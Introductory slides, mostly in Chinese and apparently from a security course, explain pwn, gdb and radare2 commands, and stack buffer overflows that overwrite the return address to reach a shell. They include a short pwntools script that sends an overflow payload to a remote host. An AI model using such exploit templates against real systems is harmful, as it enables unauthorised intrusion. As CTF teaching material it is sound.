Network & Information Security

Pwn

Introduction

What is pwn?

有弱點的程式,透過漏洞得到shell或flag

(通常是遠端)

Tools

radare2

gdb

pwntools

google 指令下載

python2和3有時候會有差別

gdb

設斷點

b main

b *0x001011

執行

r

繼續

c

跳至

j *0x001011

ni

步過

si

步入

r2

分析

aa

進入不同模式

V、VV

列出函式

afl

跳至

s main

s 0x001011

離開

:q

pwntools

from pwn import*//引入函式


r=remote('google.com',12347)//連結遠端


r.recvuntil('\n')//直到收到換行停止


address=0x00401216
r.sendline('a'*0x18+p64(address))//對遠端送出


r.interactive()//開始運作

BufferOverFlow

沒控制輸入長度,導致記憶體被蓋掉

gets

read

buffer(輸入) -> saved rbp -> return address

介紹幾個簡單的漏洞-1

如果要你改區域變數就可以拿到shell?

計算輸入與區域變數的記憶體距離然後把它蓋掉

介紹幾個簡單的漏洞-2

如果有可以拿到shell的function?

把buffer一路塞滿蓋到return address把他改成shell的位址

(saved rbp也要蓋)

Practice

CTF 05

By richardliang